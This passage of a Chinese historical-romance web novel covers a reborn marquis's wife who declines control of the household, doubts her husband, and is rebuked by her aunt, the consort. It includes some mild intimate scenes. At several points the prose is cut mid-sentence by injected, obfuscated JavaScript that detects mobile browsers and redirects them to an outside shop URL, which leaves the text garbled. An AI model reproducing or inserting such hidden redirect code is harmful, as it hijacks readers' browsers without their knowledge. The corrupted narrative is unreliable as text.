要不是夫人让她送香竹,她才不来。说完,转身就走,竟是连送都不送了,将她交给了侯府的小丫鬟。 香竹气得不行,但是面对侯府的丫鬟,她不敢发脾气,只得忍着。 等回了侍郎府,香竹将此事跟陆氏说了,陆氏听后眉头皱了起来。女儿最近是越发不像话了,一点规矩都没有。上次女儿回府时她就觉得她态度有些奇怪,看来她的直觉没错。 香竹又道:“夫人,我听跟去侯府的人说大姑娘前些日子和辛二姑娘去了景山,俩人在那里住了好几日。” 听到辛卿卿的名字,陆氏眉头皱得更紧了。 “婉淑就是被她带坏了!” 香竹:“大姑娘那边怎么办?” 陆氏:“这事儿还是得跟老爷说一声。” 侍郎府那边阴云密布,邵婉淑心情却是不错,她让阿梨准备了一些花草,又从库房里拿出来几个好看的花瓶,在花厅里插花。 阿梨一直担心香竹的到来会影响夫人的心情,见她开始插花了,这才放心了。自从嫁入了侯府,夫人每日都是围着侯爷和老夫人转,再也没插过花了。 邵婉淑:“阿梨,你看看,这里放粉色的花好看,还是放黄色的好看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931816|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿梨:“都好看。” 邵婉淑:“选一个。” 阿梨蹲下身子,认真看了看,道:“黄色的。” 邵婉淑笑了:“你是瞧着我今日穿了黄色的衣裳,所以觉得这个配吗?” 阿梨也笑了:“逃不过夫人的眼睛。” 邵婉淑一上午都在侍弄花草,感觉心情舒畅了不少。 接下来几日裴行舟没有回内宅,邵婉淑觉得少了许多尴尬。 她每日一早照旧去祥和院请安,丝毫不提管家一事。因为柳氏被禁足了,请安时倒是和谐了许多。 杜氏想着法子逗姜老夫人笑,裴明英在一旁陪着,裴温静垂头坐在一旁,邵婉淑也不说话。 裴行舟这几日去了军营,等他从军营回来已经是三日后了。 “这几日府中可有发生什么事?” 青云:“府里一切都好。” 裴行舟:“嗯。” 青云:“三日前陆夫人身边的大丫鬟香竹来了府中,去见了夫人。” 裴行舟脚步一顿,看向青云。 青云立即道:“侍郎府催促夫人从二夫人手中拿走管家权。” 这个答案在裴行舟意料之中。邵婉淑刚嫁过来侍郎府那边便催她管家了,后来虽然不了了之了,但他始终觉得侍郎府还会有下文。 “夫人做了什么?” 青云:“夫人这几日和从前一样,除了每日一早去给老夫人请安,其余时间都待在韶华院,并未跟老夫人提及管家一事。” 这倒是在裴行舟意料之外了。 他和邵婉淑成亲已有三个月,足够看清楚她的性格。他知道她很听邵侍郎的话,既如此,为何在被邵侍郎打了一巴掌后没有采取任何的行动。难道她还有别的打算? 裴行舟思索片刻,掉转脚步,欲朝着内宅走去。 青云看了一眼手中的公务。 裴行舟:“送去书房,我去去便回。” 青云:“是。” 夜深了,邵婉淑专心致志地看着手中的书。 她从小就喜欢看书,前世一直尽心服侍定南侯,处理侯府的事情,很少有时间看书。今生将这一切都放下了,倒是有时间看书了。只是看的过于入迷,忘了时辰。 这时,眼前突然投下了一片阴影。 邵婉淑抬眸看了过去,不期然地落入了一双漆黑的眼眸中。 看到来人,漂亮的眸子里添了几分疑惑。 裴行舟三日前刚来过,今日怎么又来了? 12.第 12 章 邵婉淑合上书,放在矮桌上,整理了一下衣裳,准备下榻。 裴行舟阻止了她:“夫人不必多礼。” 邵婉淑也没再难为自己,又重新坐好了。 阿梨沏了一壶新茶,又默默退下。 屋里只有邵婉淑和裴行舟两人,裴行舟端起茶喝了起来。 喝完一杯茶,裴行舟突然说道:“你是侯夫人,内宅的事情理应由你来管。” 邵婉淑看向裴行舟,他为何突然说这样的话。她是三皇子的表姐,而他和大皇子交好。两人不过是被姑母和一道圣旨硬凑到一起的。他并不信任她。 她记得前世他并不赞同她管家。 果然,只听裴行舟又道:“内宅的事情多,交接有些麻烦。不如再等上一个月,等二弟妹处理好了,再把管家的事情交给你。” 前世裴行舟也说过类似的话。邵婉淑那时一心想着从杜氏手中收回管家权,婆母日日阻拦。回头裴行舟又说了这样的话。她心中难受极了,觉得他是故意推三阻四,不想让她拿到侯府的管家权。他和她不是一条心,她很是失望。 后来等她真的把管家权握在手中时,才发现裴行舟的话或许并非是搪塞之言。 偌大的侯府,账面上却几乎没什么银钱。在杜氏的引导下,她发现侯府多年前借了不少外债,那些外债高达数万两。杜氏也是贴补自己的嫁妆才能维持侯府的正常运行。 她也曾想过把外债要回来,然而那些借债的人不是侯府的亲朋就是好友,她委实拉不下脸去要,最终只能学着杜氏的法子,贴补了自己的嫁妆。 直到后来她发现了蛛丝马迹,顺着线索去查了一下,发现侯府的账面上之所以没钱都是因为杜氏放了印子钱,钱还是落到了杜氏的口袋里。她将此事告诉了裴行舟,裴行舟的反应很是平静,由此可见他早已知晓此事。见裴行舟不为她做主,后来她又将此事告诉了父亲。很快,这件事被抖落了出来。 东窗事发后,这件事被裴行舟一力担了下来。弹劾的折子如雪花一般落在了龙案上,裴行舟被申饬。 她怨裴行舟不坦诚,侯府怪她把家丑外扬,两人之间的隔阂越来越深。 “嗯。” 见邵婉淑平静地接受了,裴行舟微微有些诧异。但他并未说什么,又端起桌上的茶喝了起来。 邵婉淑心里还是有些意外的,今生裴行舟竟然在婆母拒绝她拿回管家权之前同她说了此事。可见,他并非如她前世想的那样不想让她拿回管家权。他支持的人是大皇子,而她是三皇子的表姐。他既不爱她,也不信任她。又为何想让她管家? 想到这里,邵婉淑看了裴行舟一眼。 裴行舟并未看她,他在喝茶。 邵婉淑发现裴行舟最近每次来都要喝许多茶,从前也没见他这般爱喝,如今竟然连口味都变了,当真是奇怪。 裴行舟察觉到邵婉淑的目光,抬眸看向她。 她今日穿的格外鲜艳,是一件粉色的衣裳,像夏日的荷花。这衣裳尺寸刚刚好,贴在了身上。他的目光扫过了她的胸前,眼神微变。 邵婉淑的目光和裴行舟的目光对上了,她突然就想到了那晚的事情,别开了眼。 裴行舟见邵婉淑微微垂头,露出来一截纤细而又白皙的脖颈。脸颊微红,耳朵也是红的。 灯下看美人,别有一番滋味。 想到那晚,裴行舟心里一热,与其说像初荷,倒不如说是一颗熟透的水蜜桃。拇指指腹摩挲了一下茶杯,将茶一饮而尽,茶杯放在桌上,沉声道:“时辰不早了,安置吧。” 邵婉淑怔了一下。有些抗拒,但想到孩子,又接受了。 裴行舟动作很是迅速,几乎一上床便覆了过来,但却不似那晚那般急切了。吻依旧炙热,但却温柔了些许。他将唇挪到邵婉淑的耳侧,哑声问:“还疼吗?” 邵婉淑被亲得意乱神迷,心砰砰直跳。听到这个问题,怔了一下,道:“还……还好。” 裴行舟动作停顿了片刻,双眼深深地看向邵婉淑。 邵婉淑不太懂他的意思,猜测了一番,礼尚往来,问了一句:“你疼吗?” 她那晚掐他时还挺用力的。 裴行舟突然闷笑一声。 邵婉淑几乎以为自己听错了,裴行舟竟然在笑,活了两世,这还是她第一次听到裴行舟的笑声。他一向是严肃的,习惯板着一张脸,一副不苟言笑的样子。 他在笑什么? 裴行舟闷声道:“不疼。” 没等邵婉淑想明白裴行舟为何笑,他的吻便铺天盖地地落了下来。 虽说一开始是温柔的,但后来还是控制不住。 邵婉淑还是没忍住,又掐了裴行舟。 青云看了看月亮,吹灭了书房的蜡烛,回屋歇着了。 第二日一早,裴行舟离开前吩咐青云:“晚上让二弟来书房找我。” 青云:“是,侯爷。” 邵婉淑醒来已是巳时,她让阿梨去祥和院告了假,在院中歇了一日,没去请安。她扶着有些酸痛的腰肢,心想着,等怀上了孩子,定不再让裴行舟踏入房门半步。 亥时,裴行舟刚从外面回来,一个和他长相相似,带着几分少年气的俊朗男子匆匆来了他身边。 “大哥,听说你找我。” 看到来人,裴行舟脸色柔和了些:“怎么才回来?” 裴行凛:“李侍郎叫我们一同去喝酒,我倒是不想去,可也不好拒绝。大哥今日又去军营了吗?” 裴行舟之所以回来这么晚便是因为军营那边突然有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴行舟想到了前院隐在暗处盯梢的人,应了一声:“嗯。” 看着裴行舟的表情,裴行凛笑着说:“大哥心里有数就好。大皇子才是正统,三皇子哪里能跟大皇子比。” 闻言,裴行舟微微皱眉:“二弟,立储一事关乎社稷,皇上并不喜朝臣们议论此事,你莫要在背后随意评判。” 裴行凛:“我都明白的,这些话我也只敢跟大哥说罢了,其他人面前我一个字都不会多说的,就连母亲面前我都不说。” 裴行舟这才放心了些。 兄弟二人在岔路口分开了,一人去了书房,一人回了内宅。 13.第 13 章 过了几日,柳氏解除了紧闭,打扮得花枝招展的来了。邵婉淑还没进门就听到了她的笑声。 杜氏绘声绘色的讲着趣事儿,把姜老夫人逗得直笑,柳氏也在一旁陪着笑。裴明英凑趣,裴温静一句话不说。 邵婉淑进去后就坐在一旁安安静静听着,若无人问起,一个字也不多说。 略坐了一会儿后,邵婉淑就准备离开了。她刚准备起身,就听姜老夫人说道:“婉淑,你嫁过来也有三个多月了,明日就接手管家的事情吧。” 听到这话,屋里的人都十分惊讶。 就连邵婉淑都有些意外。前世,从娘家回来后,她便跟婆母提了管家的事情,但她一直没同意。直到说了几次后,婆母才终于同意让她管家。没想到今生她却主动提起来了。 她主动要,侯府不给,她不要了,侯府又想给了。前几日裴行舟刚刚提醒过她,让她暂时不要接管家的事务。由此可见,此事裴行舟并不知道,这是婆母自己的主意。 婆母最喜欢的儿媳是杜氏,内宅之中最信任的人也是她,这几年一直是杜氏管家。 邵婉淑轻轻瞥了一眼坐在对面的杜氏,只见杜氏脸上笑意全无,唇角微微抿起,脸上的笑淡了几分。她没注意到邵婉淑看过去的目光,正抬眸看向姜老夫人,似乎想说些什么。 邵婉淑收回目光,想到前世后来发生的事情,拒绝了姜老夫人。 “母亲,我刚成亲三个月,对府中的事务还不太熟悉,二弟妹将府里的事情治理得井井有条,还是让她继续管着吧。” 杜氏似是没料到邵婉淑会拒绝,目光立即转向了邵婉淑,眼底的惊讶都没来得及掩藏。 除了她,屋里的众人也都用一种奇怪的眼神看向邵婉淑。邵婉淑刚入府的第三日就提出来杜氏管家名不正言不顺,要拿走管家权。今日姜老夫人主动提及,她竟然拒绝了。 姜老夫人以为邵婉淑是因为自己之前的拒绝生气了,试探地道:“这个家早晚都是你和行舟的,让阿敏从旁协助你。” 邵婉淑再次拒绝:“母亲,我最近身子有些不舒服。要是二弟妹不累的话,不如再帮我管上一段时日?” 杜氏顿时松了一口气。 姜老夫人有些紧张地问:“哪里不舒服?去请太医过来看看吧。” 邵婉淑:“不用了,老毛病了,一到换季的时候就有些头疼。” 姜老夫人:“头疼可不是小事,你若真的不舒服还是让太医来看看才是。” 邵婉淑:“多谢母亲关心。” 姜老夫人看的出来,邵婉淑是真的不想管家,只是她有些想不通这是为何。前些日子侍郎府不仅把儿媳叫了回去,还派了丫鬟来府中。她是个直性子,想到什么就问了出来。 “你娘家那边……” 邵婉淑随口胡诌:“母亲知道我的情况,也不赞同我现在管家,就是要麻烦二弟妹了。” 杜氏忙道:“不麻烦的,大嫂先养好身子,等你身子好了我定会把侯府交到你手中。” 她放出去的印子钱还在赚钱,她巴不得邵婉淑不管家。只要管家权在她手中一日,她就能多赚上一日钱。 邵婉淑:“多谢二弟妹。” 姜老夫人看了一眼二儿媳,似乎看出了什么,没再多言。 又坐了一会儿,邵婉淑回去了。 阿梨日日跟邵婉淑在一处,自然知晓她刚刚在扯谎。她忍不住道:“夫人,老夫人说让您管家了,您为何不接过来?老爷和夫人都希望您尽快管着侯府的事宜。” 邵婉淑拿起剪刀斜着剪了一枝玫瑰。 “你真以为侯府的内宅这么好管吗?” 阿梨:“可您毕竟才是侯夫人。” 邵婉淑:“那又如何呢?上面还有侯爷和老夫人。管好了是你的本分,管不好就是你的问题。” 阿梨见邵婉淑是真的不想管家,没再多劝。 邵婉淑将玫瑰花的叶子除去,只剩下上面几片,将减好的花插在了花瓶里,满意地笑了。 阿梨看着邵婉淑脸上的笑,怔了一下,也跟着笑了。管不管家的又有什么重要的,只要夫人开心就好了。 “夫人今日插的花好看。” 邵婉淑:“昨日的不好看?” 阿梨连忙道:“昨日的也好看,每天都好看。” 二人都笑了起来。 另一边,请安的人都离去后,祥和院安静下来。 姜老夫人正跟李嬷嬷说着让邵婉淑管家的事情。 姜老夫人:“那日老三媳妇儿因为贵妃娘娘赏赐的布料得罪了老大媳妇儿,我想着不如把管家的事给她,安抚一下她。没想到老大媳妇儿竟然不要。” 即便他们侯府不站队,但也不能得罪最得宠的贵妃。 姜老夫人又道:“你说她是不是因为我之前拒绝了她生气了,索性不要了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948366|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李嬷嬷:“我瞧着侯夫人不像是生气了。” 姜老夫人:“那是为什么?” 李嬷嬷:“老夫人都想不明白的事儿,老奴更想不明白。” 姜老夫人沉默片刻,道:“那日侍郎府的丫鬟来府中是催老大媳妇儿要管家权的?” 李嬷嬷:“听送她走的小丫头说是听到了这么几句。” 姜老夫人愈发觉得奇怪了。既然侍郎府催促儿媳要管家权,儿媳为何又不要了呢? “哎,这事儿说起来也怪我,她刚嫁过来的时候就该把管家权给她的。” 李嬷嬷:“老夫人,这怎么能怪您呢?您也是想着让侯夫人轻快些,能好好跟侯爷过日子,先生个孩子。咱们也没想到侯爷对夫人那么冷淡。” 想到儿子的态度,姜老夫人又叹了叹气。 “这门婚事是圣上和贵妃赐婚,他本就不想要,是我自作主张替他答应了。也怪我,想岔了,想着一个文官之女和他正好相配,能让他软和些。” 李嬷嬷:“您也是一心为了侯爷着想才答应的。再说了,毕竟是皇上赐婚,若是推拒了,对咱们侯府也不利。您为侯府和侯爷操碎了心。” 姜老夫人拍了拍李嬷嬷的手:“也就你能明白我的心思了。” 李嬷嬷:“总有一日侯爷也会明白您的苦心。” 想到和自己并不亲厚的长子,姜老夫人长叹一声。 过了一会儿,她想起一事,问:“你有没有觉得今日老二媳妇儿的表现有些奇怪?” 李嬷嬷想了想,道:“兴许二夫人是觉得您的提议有些突然。” 姜老夫人:“最近内宅事务可有什么问题?” 李嬷嬷:“没什么问题,一切都好。” 姜老夫人:“嗯,可能是我多想了吧。” 晚上,裴行舟得知了白日里邵婉淑拒绝了母亲让她管家的提议。 他知道她是想管家的,而侍郎府那边也催促她管家,之所以拒绝定是因为他那日的提醒。二弟那边,还是得催促一番。 他端起桌上的茶喝了一口,苦涩的味道让他皱了皱眉。 青云注意到了裴行舟的变化,心里有些忐忑。这已经是他换的第十种茶了,他让人将府里最好的茶都拿了出来,还逛遍了京城的铺子,挑选最好的茶,没想到侯爷还是不喜欢。 裴行舟将茶杯放在了桌上,站起身来,朝着内宅走去。 14.第 14 章 裴行舟过来时邵婉淑去沐浴了,屋里空无一人。 他敏锐地发现屋里似乎跟从前不太一样了。仔细一看,好像只多了几个漂亮的花瓶,但给人的感觉却和从前大不相同。 他也说不出来哪里不同,只觉得多了丝活气。 裴行舟坐在了榻上,瞥了一眼榻上的矮几。矮几上有一壶茶,已经凉了。他抬眸看向了匆匆从外面进来的阿桔。 阿桔正在一旁的厢房忙着,听院子里的人说侯爷过来了,连忙走了进来。她刚想去里间提醒,就见裴行舟已经坐在了榻上,而且还抬眸看向了她。 侯爷很少会关注他们,阿桔心里惊惧,忙止住了脚步,不敢动。 “奴婢见过侯爷。” 素日里,裴行舟一个眼神身边的人就明白了他的意思,他也不用多说什么。眼下他暗示得这般明显了,面前这个丫鬟竟还没明白,委实迟钝得很。 青云连忙上前把凉了的茶壶递给了阿桔。 阿桔这才明白过来,接过茶壶出去了,青云也跟着出去了。 不多时,阿桔上了一壶热茶。她也不敢当着裴行舟的面去里间,默默退了出去。走到外面后,她抬手拍了拍胸口,长长吁了一口气。侯爷也太吓人了,比他们家老爷还吓人。老爷最多是要打人板子,侯爷的眼神是想杀人。 “阿桔姑娘。” 阿桔没注意到旁边还有人,吓得哆嗦了一下,连忙看向说话之人。刚刚他还在屋里,不知何时已经出来了。 青云:“抱歉。” 阿桔知道青云是侯爷最信任的人,她朝着青云福了福身。 青云回礼。 “阿桔姑娘,不知院子里喝的是什么茶?” 阿桔:“龙井。” 青云有些诧异,他为侯爷准备了龙井,但侯爷并不喜欢。 “具体是哪一种?” 阿桔:“明前龙井。” 青云:“多谢。” 阿桔:“客气了。” 阿桔觉得青云莫名其妙的,好端端地问她茶叶的问题做什么。 邵婉淑在木桶里泡了许久才出来,出来时原本白皙的脸变得红扑扑的,头发上还在滴水。裴行舟很少回内宅,所以她已经习惯了屋里大多数时候只有她一个人。她压根儿没想到裴行舟今日会回来,径直往前走去。 走了几步后,有些站不稳,连忙唤了一声还在里面的阿梨。 “阿梨。” 一只大掌上前扶住了她。 邵婉淑没注意到异常,闭着眼睛缓了一会儿,喃喃道:“今日果然泡太久了,头都有些晕了。” 话音刚落,腰上突然多了一条胳膊,人也被腾空抱了起来。 邵婉淑猛地睁开了眼,终于看清了面前的人。没想到竟然是裴行舟。她心里突然冒出来一个想法,不应该让阿梅停止打探裴行舟的行动,不然裴行舟突然过来她都没有任何准备。 裴行舟本想将邵婉淑抱去床上,想到她是泡太久才晕的,又把她抱去了外间的榻上。见她头发上的水滴到了里衣上,透出来里面粉色的肚兜,他眼神一凝,喉间微滚。抬手扯过一旁的毯子,盖在了她的身上。 邵婉淑:“多谢。” 裴行舟俯下身子刚要给邵婉淑拖鞋,听到这话,看了邵婉淑一眼,她的头发是湿的,眼睛也湿漉漉的,脸颊微微泛着红晕。双手撑在榻上,就这般俯身望着他。 两人离得极近,近到裴行舟能看到邵婉淑眼中的自己,近到邵婉淑清楚地看到了裴行舟眼底的情绪变化。 裴行舟第一次发现邵婉淑的眼睛似乎会说话,带着几分勾人的味道。 邵婉淑眼眸微闪。裴行舟最近的变化似乎有些大。前世成亲三年,她从未看过裴行舟这副模样。他一向是没什么表情的,即便是在夜里也是如此。也就是刚成亲那会儿他的反应激烈了些,后来便如一潭深水,让人瞧不出波动。 最近他的情绪却表现在了脸上,她用眼睛就能看得到。尤其是二人最亲密之时,他的反应更加强烈。他情绪外泄得厉害,此刻她明显发现了他的情绪波动。 两人默默对视着,谁都没有先开口。 一滴水顺着邵婉淑的乌发滴落在了裴行舟的手背上,隐隐的玫瑰香气拂过鼻间。 裴行舟握着邵婉淑脚踝的手紧了紧,邵婉淑心头突然一跳,吓得缩了缩脚。 裴行舟不顾邵婉淑的躲闪,握得更紧了,他克制住自己,低头为邵婉淑脱掉了鞋子。随后,一言不发地将她抱去了内室。 裴行舟走得很快,但却很稳。虽然如此,邵婉淑仍旧有些害怕,抬手圈住了他的脖子。 阿梨刚从里间出来,正要叫人去打扫,看着眼下的情形,连忙熄灭屋里的蜡烛,默默退了出去。 邵婉淑能明显感觉到裴行舟和前世不一样了,他前世从不会这般。他一向是严肃的,她几乎从他的面上看不出来任何的情绪变化,看不出来喜,也看不出来怒,每次都是公事公办。两个人像是关系最亲密的陌生人。而如今,他的花样越来越多了,她有些招架不住。 邵婉淑死劲儿掐住了裴行舟的腰身,闭上了眼。 瞧着邵婉淑的反应,裴行舟闷笑一声。 邵婉淑睁开了眼,眼底有几分恼怒。 裴行舟忙止住了笑。 过了许久后,一切归于平静。 裴行舟抬手将邵婉淑圈入了怀中。这个动作过于亲密了,邵婉淑有些不舒服,她本能得想要抗拒。裴行舟的胸膛却如同铜墙铁壁,纹丝不动。 裴行舟沉声问:“不累吗?” 邵婉淑听出来裴行舟话中之意,顿时不敢再动。 裴行舟满意了。 邵婉淑的身体实在是疲惫,慢慢合上眼准备睡了。就在她快要睡着之际,脑海中猛然冒出来一个念头,瞬间睁开了眼,看向了面前之人。 裴行舟垂眸看向邵婉淑,眼底深不见底:“当真不累?” 邵婉淑抿了抿唇。 既然她可以回到三年前,裴行舟会不会也回来了? 她仔细回忆了一下最近发生的事情。重生的当晚,裴行舟来了内宅中,询问她父亲跟她说了什么话。过了没几日,裴行舟又来了内宅中。裴行舟主动去了景山别院接她。最近裴行舟时常回内宅。这种种表现都跟前世的冷淡不同。而且,在她重生回来前,裴行舟甚少回内宅,和前世一模一样。 裴行舟的改变是在她重生回来之后。 重生之后,周遭的人和事没有任何改变,只除了裴行舟。 所以,很有可能裴行舟和她一样在当天重生回来了。 想到这里,邵婉淑突然觉得有些恶心。 裴行舟见邵婉淑一直盯着他看,心里一热,俯身想要亲她, 察觉到裴行舟的身体反应,邵婉淑面色一沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954702|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前她一直觉得裴行舟不近女色,不重欲,如今瞧着正好相反。这也越发印证了自己心里的猜测。 她抬手制止了裴行舟,冷声问:“你何时将莲娘收入房中的?” 裴行舟心里的旖旎顿时消失不见,眉紧紧皱了起来。 莲娘是何人? 看着裴行舟的表情,邵婉淑瞬间就意识到自己猜错了。裴行舟是定南侯,也是个骄傲的人。他若真的收了人,不会是这般反应,定会大大方方承认。 所以,他并没有重生。 两人的身体还贴在一起,她能明显感觉到裴行舟的身体变化,说出口的话却是扎心的,眼下的情形有几分尴尬。 察觉到裴行舟的胳膊禁锢得没那么紧了,邵婉淑别开眼,转身平躺着。 裴行舟盯着邵婉淑看了片刻,也平躺回去,两人之间隔着一拳的距离。 很快,裴行舟低沉的声音在漆黑的屋里响起。 “夫人日日让人盯着前院,我若当真收了人你岂会不知?” 裴行舟的话虽然没什么起伏,但邵婉淑还是能听出来里面的一丝嘲讽。 刚嫁过来时,邵婉淑的确听从了爹娘的建议,让人盯着前院,作为妻子她想知道裴行舟有没有别的女人,想知道自己丈夫的去向。重生回来后,她不想再听任何关于裴行舟的事,便没再让人盯着。这事儿的确是她做的不对,是她理亏。换位思考一下,若裴行舟让人盯着自己的一举一动,她也不会不舒服的。 但,今晚她被勾起了前世的回忆。想起关于莲娘的事情,她心里郁结,胆子大了些,没了平日的顾忌,语气有些不善。 “我只让人盯了前院,侯爷若是在外收了人我也未必知道。” 若说裴行舟的话没有丝毫起伏,只是隐隐泄露情绪的话,邵婉淑的话就是明晃晃的嘲讽了。 夫妻二人说出口的话一个比一个难听。 裴行舟眉头紧紧皱了起来。 他没有责怪她盯着他的行踪,她竟嘲讽他在外偷吃,她这胆子着实大得很,从前的温良贤淑竟都是装出来的不成? “夫人贤惠,我若当真收了人,定不会养在外面,一定会带回府。” 这话着实刺耳,但是有什么东西在邵婉淑脑海中快速划过,没有抓住。邵婉淑越想也不舒服,卷过被子,侧身面对墙,不再搭理裴行舟。 裴行舟身上本就没了衣物遮挡,顿时感觉身上一凉,看着自己狼狈的模样,起身穿上衣裳离开了。 青云已经打算去歇着了,看到侯爷沉着脸出来了,连忙跟上了。心里琢磨着,方才不是还和夫人好好的,怎么突然就生气了。 深秋的风带着几分凉意,一路行来,裴行舟早就清醒过来,去书房处理公务了。 一个时辰后,裴行舟的心情平静下来。此刻,他回想起刚刚邵婉淑说过的话。邵婉淑不是个会无理取闹的人,她这么说定是有缘由的。瞧着她当时的神情,这个叫莲娘的人一定很重要。 莫非有人在背后做了什么事? “前院伺候的人里可有叫莲娘的?” 青云仔细想了想,道:“没有。” 裴行舟沉默了片刻,又继续问道:“庄子上呢?” 侯府那么多庄子,青云一时还真不清楚。 “不知道。” 裴行舟:“你去查一查,包括别院。” 青云:“是。” 15.第 15 章 见裴行舟离开,阿梨着实有些担忧,连忙去屋里看了下。走到床边轻声唤了几声,没有得到一丝回应。她犹豫了一下,掀开了床幔,看到自家夫人已经睡着了终于放心了。 裴行舟离开后,邵婉淑一点后悔都没有,反倒是因为把憋在心里的话说出来感到一丝畅快。她一人独占一张大床,因为身体的疲惫,很快就睡着了。 第二日一早醒来,她揉了揉有些酸痛的腰身,心里的疑惑更甚。若裴行舟没有重生的话,今生他为何跟前世有那么大的不同?前世他一个月最多回内宅两次,如今他隔个三五日就回来。白日里还好,跟从前一样冰冷内敛,可在夜里就像是换了个人似的,疯狂又冲动。 邵婉淑想了许久都没能想明白这其中的缘由。 接下来几日,裴行舟又不见人了。 这日,邵婉淑正在吃着早饭,阿桔一脸喜色地从外面进来了。 “夫人,贵妃娘娘身边的嬷嬷来了,宣您进宫。” 邵婉淑微微一怔,她并不记得前世这个时候姑母宣她入宫了,她记得年底的宴席上她才见到了姑母。不知姑母突然叫她入宫所为何事。 用过朝食后,邵婉淑坐马车去宫里了。 入了昭阳宫后,看着坐在上面容貌姣好,风姿绰约的人,邵婉淑眼眶一热。 前世,她是带着使命嫁入定南侯府的。姑母和父亲一直逼她拉拢裴行舟,将裴行舟拉入三皇子的阵营。后来,裴行舟死了,父亲也逼她去死。但姑母却让人传话,说会偷偷给她换个身份,让她隐姓埋名活着。和父亲相比,姑母对她还是有着一丝怜悯之心。那时她脑子乱得很,整个人都是懵的,并未答应姑母的提议。 “啪。”一个白玉做的茶杯碎在了邵婉淑脚边。 邵婉淑回过神来,看着姑母盛怒的神情,她回到了现实。 贤贵妃高声质问:“你婆母说让你管家,你为何要拒绝?” 原来姑母是因为这件事把她召进宫的。如今裴行舟没死,姑母仍旧要逼她拉拢他。 前世,姑母是宫里贵妃,身份尊贵,她有些畏惧她,不敢得罪分毫,每次都是恭恭敬敬的,生怕惹她不高兴,会被降罪。经历了前世,她知道姑母是个嘴硬心软,顾念亲情的人,心里没那么害怕了。 邵婉淑为自己找了一套说辞:“侯府家大业大,我担心自己管不过来。” 贤贵妃嗤笑一声,并不相信她:“杜家的姑娘能管得过来,你怎么管不过来了?出嫁前我不是安排嬷嬷教过你了吗?” 邵婉淑垂着头不说话。 贤贵妃:“你给我说实话,到底是为何?” 眼见着这个理由不够用了,邵婉淑思索片刻,将这件事推到了裴行舟身上。 “侯爷不让我管家。” 父亲和姑母一心想要拉拢裴行舟,而裴行舟的表现却很冷淡。他们二人十分忌惮裴行舟,定不会拿此事去问他的。 贤贵妃皱眉:“定南侯不让你管家?” 邵婉淑:“对。” 贤贵妃:“他不让你管家,你就不管家了吗?你是侯夫人,整个侯府内宅的事都应该听你的安排。定南侯是大皇子的人,他定是怕你把侯府拿捏在手中,故意不让你管家的……” 邵婉淑也不说话,就这么默默听着。 贤贵妃骂了一会儿裴行舟,又道:“你回去就跟你婆母说,你要管家。” 邵婉淑一脸为难的模样:“姑母,侯爷不让我管家,我跟婆母说了也没用。” 贤贵妃:“他一个男子,胳膊伸不了那么长,他本就和你婆母不对付,你尽管去要。无论如何有我在背后给你撑腰。” 邵婉淑还是不说话。 贤贵妃盯着邵婉淑瞧了瞧,看到了她脖颈上隐隐露出来的一丝痕迹,她太明白这是什么了,结合她最近听到的事情,似是想到了什么,沉着脸问:“你莫不是爱上定南侯了?” 邵婉淑刚想反驳,又觉得反驳后也没有更好的理由了,索性默认了。 贤贵妃终于明白自己一向听话向着娘家的侄女为何油盐不进了,原来是爱上了定南侯,她顿时就怒了,抬手拍了一下桌子,道:“你怎么能干这么蠢的事情!愚不可及,简直愚不可及!” 邵婉淑不语。 贤贵妃:“你难道忘了这门亲事是怎么来的了?你一心扑在定南侯身上,他对你又是如何看的?你清醒一点,他是不可能爱上你的!” 她本想再裴行舟身边安插自己的人,万万没有想到自己的人竟然会倒戈。 邵婉淑对这件事再清楚不过了,前世她和裴行舟就没什么感情。裴行舟不喜欢她,她也不喜欢他。她也不反驳,就这么站着。 贤贵妃气不打一处来,又问了一遍:“你到底去不去要管家权?” 邵婉淑:“姑母,侄女实在是不敢违逆侯爷……” 贤贵妃气得不行,咬着牙道:“你跪在这里好好反省吧!” 说完,离开了大殿。 邵婉淑默默跪在了殿中。 三皇子上完早课来了昭阳殿中,得知表姐过来了,他想见一见她,结果被拒绝了。他也没多说什么,离开了大殿。等出去后,从宫人口中得知表姐被罚跪,他瞒着贤贵妃偷偷跑了过去。 邵婉淑正跪在殿中,突然听到身后传来了一丝动静。 很快,那人来到了自己面前,蹲下了。 “表姐,你还好吗?” 